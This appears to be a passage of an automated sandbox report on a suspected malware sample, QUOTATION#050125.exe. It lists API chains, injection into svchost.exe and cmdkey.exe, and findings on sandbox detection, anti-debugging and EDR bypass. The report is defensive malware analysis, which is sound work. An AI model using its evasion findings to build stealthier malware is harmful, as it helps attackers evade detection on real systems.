Source:	Binary string: cmdkey.pdbGCTL source: svchost.exe, 00000003.00000003.289243898151.000000000321A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000002.289275035878.0000000003200000.00000004.00000020.00020000.00000000.sdmp, SwDwSdNMaTt.exe, 00000005.00000003.292462791821.00000000010DB000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: QUOTATION#050125.exe, 00000002.00000003.288634047789.0000000003CF0000.00000004.00001000.00020000.00000000.sdmp, QUOTATION#050125.exe, 00000002.00000003.288633604844.0000000003990000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000003.00000002.289275465830.000000000392D000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000003.00000003.289183129164.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000002.289275465830.0000000003800000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000003.00000003.289180231245.0000000003400000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000003.289275169587.0000000002DE3000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292817455715.000000000326D000.00000040.00001000.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000003.289279216842.0000000002F91000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292817455715.0000000003140000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: QUOTATION#050125.exe, 00000002.00000003.288634047789.0000000003CF0000.00000004.00001000.00020000.00000000.sdmp, QUOTATION#050125.exe, 00000002.00000003.288633604844.0000000003990000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000003.00000002.289275465830.000000000392D000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000003.00000003.289183129164.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000002.289275465830.0000000003800000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000003.00000003.289180231245.0000000003400000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, cmdkey.exe, 00000006.00000003.289275169587.0000000002DE3000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292817455715.000000000326D000.00000040.00001000.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000003.289279216842.0000000002F91000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292817455715.0000000003140000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: cmdkey.pdb source: svchost.exe, 00000003.00000003.289243898151.000000000321A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000002.289275035878.0000000003200000.00000004.00000020.00020000.00000000.sdmp, SwDwSdNMaTt.exe, 00000005.00000003.292462791821.00000000010DB000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: cmdkey.exe, 00000006.00000002.292815481224.0000000000AAD000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292818357888.000000000376C000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000000.289344432369.0000000002CCC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000011F5C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: cmdkey.exe, 00000006.00000002.292815481224.0000000000AAD000.00000004.00000020.00020000.00000000.sdmp, cmdkey.exe, 00000006.00000002.292818357888.000000000376C000.00000004.10000000.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000000.289344432369.0000000002CCC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.289570074224.0000000011F5C000.00000004.80000000.00040000.00000000.sdmp

Source: QUOTATION#050125.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: QUOTATION#050125.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: QUOTATION#050125.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: QUOTATION#050125.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: QUOTATION#050125.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\QUOTATION#050125.exe

Code function: 2_2_000C42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

Found API chain indicative of sandbox detection

Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_000E0A76 push ecx; ret	2_2_000E0A89
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0040505A push cs; iretd	3_2_00405061
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0040189C push ss; iretd	3_2_004018A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_004180AB push esp; ret	3_2_004180AC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0040514D push ds; iretd	3_2_00405171
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_00411A63 push ebp; retf	3_2_00411A6D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_00407270 push 0000006Ch; iretd	3_2_0040727B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_00418274 push esp; retf	3_2_00418281
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_00403340 push eax; ret	3_2_00403342
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_004174CC push esp; retf	3_2_004174D6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_004045D4 push esp; iretd	3_2_004045DD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_00413663 push cs; ret	3_2_00413695
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_00417630 push edi; ret	3_2_0041763A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0040D6A4 push ds; ret	3_2_0040D6B6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_00404F63 push esi; iretd	3_2_00404F66
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038308CD push ecx; mov dword ptr [esp], ecx	3_2_038308D6
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031421AD pushad ; retf 0004h	6_2_0314223F
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031708CD push ecx; mov dword ptr [esp], ecx	6_2_031708D6
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_031497A1 push es; iretd	6_2_031497A8
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0304124E push ebp; ret	6_2_03041250
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_030352B4 push edi; ret	6_2_030352B7
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03045042 push eax; ret	6_2_03045044
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0303753D push edx; iretd	6_2_0303753E
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03036404 push ecx; ret	6_2_03036405
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_030354A5 push esp; iretd	6_2_030354C2
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03035B8D push FFFFFFC9h; iretd	6_2_03035B96
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03034BA2 push esp; iretd	6_2_03034BA3
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0303C9AE push eax; retf	6_2_0303C9B9
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_030348F7 pushad ; iretd	6_2_03034902
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_03034F53 push ss; retf	6_2_03034FCF
Source: C:\Windows\SysWOW64\cmdkey.exe	Code function: 6_2_0303FFF4 push esp; retf	6_2_0303FFF7

Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_000DF98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		2_2_000DF98E
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_00151C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		2_2_00151C41

Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\QUOTATION#050125.exe

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_2-98853

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\QUOTATION#050125.exe	API/Special instruction interceptor: Address: E1B314
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FFC8254D144
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FFC8254D604
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FFC8254D764
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FFC8254D324
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FFC8254D364
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FFC8254D004
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FFC8254FF74
Source: C:\Windows\SysWOW64\cmdkey.exe	API/Special instruction interceptor: Address: 7FFC8254D864

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 3_2_0387088E rdtsc

3_2_0387088E

Source: C:\Windows\SysWOW64\cmdkey.exe

Window / User API: threadDelayed 9852

Source: C:\Users\user\Desktop\QUOTATION#050125.exe	API coverage: 3.5 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\cmdkey.exe	API coverage: 1.7 %

Source: C:\Windows\SysWOW64\cmdkey.exe TID: 8012	Thread sleep count: 121 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe TID: 8012	Thread sleep time: -242000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe TID: 8012	Thread sleep count: 9852 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe TID: 8012	Thread sleep time: -19704000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe TID: 2512	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\cmdkey.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\cmdkey.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_000FC2A2 FindFirstFileExW,	2_2_000FC2A2
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_001368EE FindFirstFileW,FindClose,	2_2_001368EE
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_0013698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	2_2_0013698F
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_0012D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	2_2_0012D076
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_0012D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	2_2_0012D3A9
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_00139642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	2_2_00139642
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_0013979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	2_2_0013979D
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_00139B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	2_2_00139B2B
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_0012DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	2_2_0012DBBE
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_00135C97 FindFirstFileW,FindNextFileW,FindClose,	2_2_00135C97

Source: C:\Users\user\Desktop\QUOTATION#050125.exe

Code function: 2_2_000C42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

Source: cmdkey.exe, 00000006.00000002.292815481224.0000000000AAD000.00000004.00000020.00020000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000002.293706324420.0000000000DAF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: firefox.exe, 00000008.00000002.289571854198.0000026A51EDD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllii

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 3_2_0387088E rdtsc

3_2_0387088E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 3_2_00417AD3 LdrLoadDll,

3_2_00417AD3

Source: C:\Users\user\Desktop\QUOTATION#050125.exe

Code function: 2_2_0013EAA2 BlockInput,

2_2_0013EAA2

Source: C:\Users\user\Desktop\QUOTATION#050125.exe

Code function: 2_2_000F2622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

2_2_000F2622

Source: C:\Users\user\Desktop\QUOTATION#050125.exe

Code function: 2_2_000C42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_000E4CE8 mov eax, dword ptr fs:[00000030h]	2_2_000E4CE8
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_00E1B5E0 mov eax, dword ptr fs:[00000030h]	2_2_00E1B5E0
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_00E1B580 mov eax, dword ptr fs:[00000030h]	2_2_00E1B580
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_00E19F40 mov eax, dword ptr fs:[00000030h]	2_2_00E19F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0385A390 mov eax, dword ptr fs:[00000030h]	3_2_0385A390
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0385A390 mov eax, dword ptr fs:[00000030h]	3_2_0385A390
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0385A390 mov eax, dword ptr fs:[00000030h]	3_2_0385A390
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038D43BA mov eax, dword ptr fs:[00000030h]	3_2_038D43BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038D43BA mov eax, dword ptr fs:[00000030h]	3_2_038D43BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038AC3B0 mov eax, dword ptr fs:[00000030h]	3_2_038AC3B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0382E3C0 mov eax, dword ptr fs:[00000030h]	3_2_0382E3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0382E3C0 mov eax, dword ptr fs:[00000030h]	3_2_0382E3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0382E3C0 mov eax, dword ptr fs:[00000030h]	3_2_0382E3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0382C3C7 mov eax, dword ptr fs:[00000030h]	3_2_0382C3C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038363CB mov eax, dword ptr fs:[00000030h]	3_2_038363CB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038643D0 mov ecx, dword ptr fs:[00000030h]	3_2_038643D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038BE3DD mov eax, dword ptr fs:[00000030h]	3_2_038BE3DD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B43D5 mov eax, dword ptr fs:[00000030h]	3_2_038B43D5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038D630E mov eax, dword ptr fs:[00000030h]	3_2_038D630E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0384E310 mov eax, dword ptr fs:[00000030h]	3_2_0384E310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0384E310 mov eax, dword ptr fs:[00000030h]	3_2_0384E310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0384E310 mov eax, dword ptr fs:[00000030h]	3_2_0384E310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386631F mov eax, dword ptr fs:[00000030h]	3_2_0386631F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03868322 mov eax, dword ptr fs:[00000030h]	3_2_03868322
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03868322 mov eax, dword ptr fs:[00000030h]	3_2_03868322
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03868322 mov eax, dword ptr fs:[00000030h]	3_2_03868322
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0382E328 mov eax, dword ptr fs:[00000030h]	3_2_0382E328
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0382E328 mov eax, dword ptr fs:[00000030h]	3_2_0382E328
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0382E328 mov eax, dword ptr fs:[00000030h]	3_2_0382E328
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038E4320 mov eax, dword ptr fs:[00000030h]	3_2_038E4320
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03828347 mov eax, dword ptr fs:[00000030h]	3_2_03828347
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03828347 mov eax, dword ptr fs:[00000030h]	3_2_03828347
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03828347 mov eax, dword ptr fs:[00000030h]	3_2_03828347
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386A350 mov eax, dword ptr fs:[00000030h]	3_2_0386A350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386E363 mov eax, dword ptr fs:[00000030h]	3_2_0386E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386E363 mov eax, dword ptr fs:[00000030h]	3_2_0386E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386E363 mov eax, dword ptr fs:[00000030h]	3_2_0386E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386E363 mov eax, dword ptr fs:[00000030h]	3_2_0386E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386E363 mov eax, dword ptr fs:[00000030h]	3_2_0386E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386E363 mov eax, dword ptr fs:[00000030h]	3_2_0386E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386E363 mov eax, dword ptr fs:[00000030h]	3_2_0386E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386E363 mov eax, dword ptr fs:[00000030h]	3_2_0386E363
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038AE372 mov eax, dword ptr fs:[00000030h]	3_2_038AE372
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038AE372 mov eax, dword ptr fs:[00000030h]	3_2_038AE372
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038AE372 mov eax, dword ptr fs:[00000030h]	3_2_038AE372
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038AE372 mov eax, dword ptr fs:[00000030h]	3_2_038AE372
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B0371 mov eax, dword ptr fs:[00000030h]	3_2_038B0371
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B0371 mov eax, dword ptr fs:[00000030h]	3_2_038B0371
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0385237A mov eax, dword ptr fs:[00000030h]	3_2_0385237A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038AE289 mov eax, dword ptr fs:[00000030h]	3_2_038AE289
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038542AF mov eax, dword ptr fs:[00000030h]	3_2_038542AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038542AF mov eax, dword ptr fs:[00000030h]	3_2_038542AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0382C2B0 mov ecx, dword ptr fs:[00000030h]	3_2_0382C2B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383A2E0 mov eax, dword ptr fs:[00000030h]	3_2_0383A2E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383A2E0 mov eax, dword ptr fs:[00000030h]	3_2_0383A2E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383A2E0 mov eax, dword ptr fs:[00000030h]	3_2_0383A2E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383A2E0 mov eax, dword ptr fs:[00000030h]	3_2_0383A2E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383A2E0 mov eax, dword ptr fs:[00000030h]	3_2_0383A2E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383A2E0 mov eax, dword ptr fs:[00000030h]	3_2_0383A2E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038382E0 mov eax, dword ptr fs:[00000030h]	3_2_038382E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038382E0 mov eax, dword ptr fs:[00000030h]	3_2_038382E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038382E0 mov eax, dword ptr fs:[00000030h]	3_2_038382E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038382E0 mov eax, dword ptr fs:[00000030h]	3_2_038382E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038402F9 mov eax, dword ptr fs:[00000030h]	3_2_038402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038402F9 mov eax, dword ptr fs:[00000030h]	3_2_038402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038402F9 mov eax, dword ptr fs:[00000030h]	3_2_038402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038402F9 mov eax, dword ptr fs:[00000030h]	3_2_038402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038402F9 mov eax, dword ptr fs:[00000030h]	3_2_038402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038402F9 mov eax, dword ptr fs:[00000030h]	3_2_038402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038402F9 mov eax, dword ptr fs:[00000030h]	3_2_038402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038402F9 mov eax, dword ptr fs:[00000030h]	3_2_038402F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0382A200 mov eax, dword ptr fs:[00000030h]	3_2_0382A200
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0382821B mov eax, dword ptr fs:[00000030h]	3_2_0382821B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B0227 mov eax, dword ptr fs:[00000030h]	3_2_038B0227
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B0227 mov eax, dword ptr fs:[00000030h]	3_2_038B0227
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038B0227 mov eax, dword ptr fs:[00000030h]	3_2_038B0227
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386A22B mov eax, dword ptr fs:[00000030h]	3_2_0386A22B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386A22B mov eax, dword ptr fs:[00000030h]	3_2_0386A22B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386A22B mov eax, dword ptr fs:[00000030h]	3_2_0386A22B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03850230 mov ecx, dword ptr fs:[00000030h]	3_2_03850230
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03834180 mov eax, dword ptr fs:[00000030h]	3_2_03834180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03834180 mov eax, dword ptr fs:[00000030h]	3_2_03834180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_03834180 mov eax, dword ptr fs:[00000030h]	3_2_03834180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386E1A4 mov eax, dword ptr fs:[00000030h]	3_2_0386E1A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0386E1A4 mov eax, dword ptr fs:[00000030h]	3_2_0386E1A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038641BB mov ecx, dword ptr fs:[00000030h]	3_2_038641BB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038641BB mov eax, dword ptr fs:[00000030h]	3_2_038641BB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038641BB mov eax, dword ptr fs:[00000030h]	3_2_038641BB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038401C0 mov eax, dword ptr fs:[00000030h]	3_2_038401C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038401C0 mov eax, dword ptr fs:[00000030h]	3_2_038401C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383A1E3 mov eax, dword ptr fs:[00000030h]	3_2_0383A1E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383A1E3 mov eax, dword ptr fs:[00000030h]	3_2_0383A1E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383A1E3 mov eax, dword ptr fs:[00000030h]	3_2_0383A1E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383A1E3 mov eax, dword ptr fs:[00000030h]	3_2_0383A1E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_0383A1E3 mov eax, dword ptr fs:[00000030h]	3_2_0383A1E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038F81EE mov eax, dword ptr fs:[00000030h]	3_2_038F81EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038F81EE mov eax, dword ptr fs:[00000030h]	3_2_038F81EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038281EB mov eax, dword ptr fs:[00000030h]	3_2_038281EB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038401F1 mov eax, dword ptr fs:[00000030h]	3_2_038401F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_038401F1 mov eax, dword ptr fs:[00000030h]	3_2_038401F1
